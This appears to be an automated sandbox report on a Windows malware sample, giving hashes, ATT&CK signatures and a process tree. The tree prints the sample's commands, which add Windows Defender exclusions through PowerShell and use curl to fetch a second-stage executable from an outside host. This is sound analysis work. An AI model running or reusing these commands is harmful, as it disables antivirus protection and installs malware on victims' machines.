06d4d9c90a5c57eda0c395db13d3743a669b77d36ff78ce5f1bdaac4016a4dec

Analysis

max time kernel
149s
max time network
114s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/09/2026, 11:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_06d4d9c90a5c57eda0c395db13d3743a669b77d36ff78ce5f1bdaac4016a4dec.exe
Size 121KB
Sample260912-ncc1vaae38
SHA256 06d4d9c90a5c57eda0c395db13d3743a669b77d36ff78ce5f1bdaac4016a4dec
MD5 fd184f32ca8cf3f8b02befdb9a567b07
SHA1 7562c1f0e0fe24a8636c54bfff2e5c667734929a
SHA512 98ee1ebe13ff2f967eb0c00a14c75f6bcd39f600457da79a058d800b6b4b6fd04c110ef72434d5ade200fdf5173904505e6e34567a0a82ad00b7d0495889bc94
SSDEEP 3072:cV3J6kkt5h1X+HqTi0BW69hd1MMdxPe9N9uA0/+hL9TBfnP28gU:xt5hBPi0BW69hd1MMdxPe9N9uA069TBJ
TLSH
T1DFC31756B2E01188EBF581F6D5920746EB7074321B15A3DB6B7863B31B2B8C59F3D3A0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2376	powershell.exe
5252	powershell.exe
252	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3300	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4380	timeout.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2376	powershell.exe
2376	powershell.exe
5252	powershell.exe
5252	powershell.exe
252	powershell.exe
252	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeIncreaseQuotaPrivilege	2376	powershell.exe
Token: SeSecurityPrivilege	2376	powershell.exe
Token: SeTakeOwnershipPrivilege	2376	powershell.exe
Token: SeLoadDriverPrivilege	2376	powershell.exe
Token: SeSystemProfilePrivilege	2376	powershell.exe
Token: SeSystemtimePrivilege	2376	powershell.exe
Token: SeProfSingleProcessPrivilege	2376	powershell.exe
Token: SeIncBasePriorityPrivilege	2376	powershell.exe
Token: SeCreatePagefilePrivilege	2376	powershell.exe
Token: SeBackupPrivilege	2376	powershell.exe
Token: SeRestorePrivilege	2376	powershell.exe
Token: SeShutdownPrivilege	2376	powershell.exe
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeSystemEnvironmentPrivilege	2376	powershell.exe
Token: SeRemoteShutdownPrivilege	2376	powershell.exe
Token: SeUndockPrivilege	2376	powershell.exe
Token: SeManageVolumePrivilege	2376	powershell.exe
Token: 33	2376	powershell.exe
Token: 34	2376	powershell.exe
Token: 35	2376	powershell.exe
Token: 36	2376	powershell.exe
Token: SeDebugPrivilege	5252	powershell.exe
Token: SeIncreaseQuotaPrivilege	5252	powershell.exe
Token: SeSecurityPrivilege	5252	powershell.exe
Token: SeTakeOwnershipPrivilege	5252	powershell.exe
Token: SeLoadDriverPrivilege	5252	powershell.exe
Token: SeSystemProfilePrivilege	5252	powershell.exe
Token: SeSystemtimePrivilege	5252	powershell.exe
Token: SeProfSingleProcessPrivilege	5252	powershell.exe
Token: SeIncBasePriorityPrivilege	5252	powershell.exe
Token: SeCreatePagefilePrivilege	5252	powershell.exe
Token: SeBackupPrivilege	5252	powershell.exe
Token: SeRestorePrivilege	5252	powershell.exe
Token: SeShutdownPrivilege	5252	powershell.exe
Token: SeDebugPrivilege	5252	powershell.exe
Token: SeSystemEnvironmentPrivilege	5252	powershell.exe
Token: SeRemoteShutdownPrivilege	5252	powershell.exe
Token: SeUndockPrivilege	5252	powershell.exe
Token: SeManageVolumePrivilege	5252	powershell.exe
Token: 33	5252	powershell.exe
Token: 34	5252	powershell.exe
Token: 35	5252	powershell.exe
Token: 36	5252	powershell.exe
Token: SeDebugPrivilege	252	powershell.exe
Token: SeIncreaseQuotaPrivilege	252	powershell.exe
Token: SeSecurityPrivilege	252	powershell.exe
Token: SeTakeOwnershipPrivilege	252	powershell.exe
Token: SeLoadDriverPrivilege	252	powershell.exe
Token: SeSystemProfilePrivilege	252	powershell.exe
Token: SeSystemtimePrivilege	252	powershell.exe
Token: SeProfSingleProcessPrivilege	252	powershell.exe
Token: SeIncBasePriorityPrivilege	252	powershell.exe
Token: SeCreatePagefilePrivilege	252	powershell.exe
Token: SeBackupPrivilege	252	powershell.exe
Token: SeRestorePrivilege	252	powershell.exe
Token: SeShutdownPrivilege	252	powershell.exe
Token: SeDebugPrivilege	252	powershell.exe
Token: SeSystemEnvironmentPrivilege	252	powershell.exe
Token: SeRemoteShutdownPrivilege	252	powershell.exe
Token: SeUndockPrivilege	252	powershell.exe
Token: SeManageVolumePrivilege	252	powershell.exe
Token: 33	252	powershell.exe
Token: 34	252	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3300	cmd.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1552 wrote to memory of 3300	1552	jaffacakes118_06d4d9c90a5c57eda0c395db13d3743a669b77d36ff78ce5f1bdaac4016a4dec.exe	87
PID 3300 wrote to memory of 2256	3300	cmd.exe	89
PID 3300 wrote to memory of 2376	3300	cmd.exe	90
PID 3300 wrote to memory of 5252	3300	cmd.exe	92
PID 3300 wrote to memory of 252	3300	cmd.exe	93
PID 3300 wrote to memory of 4380	3300	cmd.exe	94
PID 3300 wrote to memory of 1568	3300	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_06d4d9c90a5c57eda0c395db13d3743a669b77d36ff78ce5f1bdaac4016a4dec.exe
"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_06d4d9c90a5c57eda0c395db13d3743a669b77d36ff78ce5f1bdaac4016a4dec.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1552
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\35BC.tmp\35CD.tmp\35CE.bat C:\Users\Admin\AppData\Local\Temp\jaffacakes118_06d4d9c90a5c57eda0c395db13d3743a669b77d36ff78ce5f1bdaac4016a4dec.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3300
- - C:\Windows\system32\cacls.exe
    "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
    3⤵
    PID:2256
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionExtension '.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionExtension '.bat'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5252
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Victalis\Links'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:252
- - C:\Windows\system32\timeout.exe
    timeout /t 3
    3⤵
    - Delays execution with timeout.exe
    PID:4380
- - C:\Windows\system32\curl.exe
    curl http://voltazur.ddns.net/Quas_Autre_ncrypt.exe
    3⤵
    PID:1568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b699e97f0868b0b8ae799388aa2d95ea7363a34f2e9cf5a6685ff4d17df64f11
MD5 683c586de389277568abf3b07f6b5a9a
SHA1 9e6659e78a58e5ccfb2dbf5bc9cc8df2ebc2aed2
SHA512 de7dc73a47ed9d41d93b33b4deb4d111c1d75b94e2ba016cb4413f5e0694f57ca1b71045c594acb5aaebbec072f339ec070b6f428840abe4a2560917ba487fd2
TLSH
T1D1216837B3DC8611C89A413A10CDAC1036B6C7DB80DECFAB7B85E659A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 070e2dc002fee5d6c6ae0611713bb24a9f01d741d964e7f1ece4f61789724a94
MD5 95e9928464a1f3425068f7e64a74060a
SHA1 9bdbd59bea34afd0aebf4d0c3d3cfe0317aa4d57
SHA512 a150525324ebe4a0dc28577f089c1f45ef0902355ecd9d5f10c91d45fe57d44d09c6d133a92c3f32dca0c73b97b259d5ad7ff4316edafa2cb00e38d64e043f06
TLSH
T1E9216833F3DD8654C899413A10CEAC1035B7C7DB40DECEDB6B84D559A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

35CE.bat

Path C:\Users\Admin\AppData\Local\Temp\35BC.tmp\35CD.tmp\35CE.bat
Size 1KB
SHA256 d198f38ccd6b16e79f66b15db3d889ba4b4d335a77358b6a22a23e8186d0ca24
MD5 3655ad28070fd0a14569bc5e8dc688cd
SHA1 46aba95ac394acd2a2177f72cedc4a67eedaac56
SHA512 c5e2002130f1f216466ce453e193793a25c5bb106ff564ae1cd243c22683a031ff65b509663eb52159ccd785ba980d5aa91ed9d1d3b412f6e66fe8451e57ab66
TLSH
T1992174140C9F9161E2B5C870E56B0286F5BF7047649C44B3B17198B1DDE86841FFEEE2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_rl1wvy3u.zhs.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rl1wvy3u.zhs.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2376-17-0x00000216F68D0000-0x00000216F68DA000-memory.dmp

Download

memory/2376-18-0x00007FFAA6260000-0x00007FFAA6C04000-memory.dmp

Download

memory/2376-9-0x00007FFAA6260000-0x00007FFAA6C04000-memory.dmp

Download

memory/2376-10-0x00007FFAA6260000-0x00007FFAA6C04000-memory.dmp

Download

memory/2376-11-0x00007FFAA6260000-0x00007FFAA6C04000-memory.dmp

Download

memory/2376-12-0x00007FFAA6260000-0x00007FFAA6C04000-memory.dmp

Download

memory/2376-16-0x00000216F6B80000-0x00000216F6C32000-memory.dmp

Download

memory/2376-15-0x00000216F68B0000-0x00000216F68CE000-memory.dmp

Download

memory/2376-7-0x00007FFAA6260000-0x00007FFAA6C04000-memory.dmp

Download

memory/2376-8-0x00007FFAA6260000-0x00007FFAA6C04000-memory.dmp

Download

memory/2376-19-0x00007FFAA6260000-0x00007FFAA6C04000-memory.dmp

Download

memory/2376-20-0x00007FFAA6260000-0x00007FFAA6C04000-memory.dmp

Download

memory/2376-21-0x00007FFAA6260000-0x00007FFAA6C04000-memory.dmp

Download

memory/2376-22-0x00007FFAA6260000-0x00007FFAA6C04000-memory.dmp

Download

memory/2376-23-0x00007FFAA6260000-0x00007FFAA6C04000-memory.dmp

Download

memory/2376-24-0x00007FFAA6260000-0x00007FFAA6C04000-memory.dmp

Download

memory/2376-26-0x00007FFAA6260000-0x00007FFAA6C04000-memory.dmp

Download

memory/2376-6-0x00000216DE2B0000-0x00000216DE2D2000-memory.dmp

Download

memory/2376-5-0x00007FFAA6260000-0x00007FFAA6C04000-memory.dmp

Download

memory/2376-2-0x00007FFAA63EF000-0x00007FFAA63F0000-memory.dmp

Download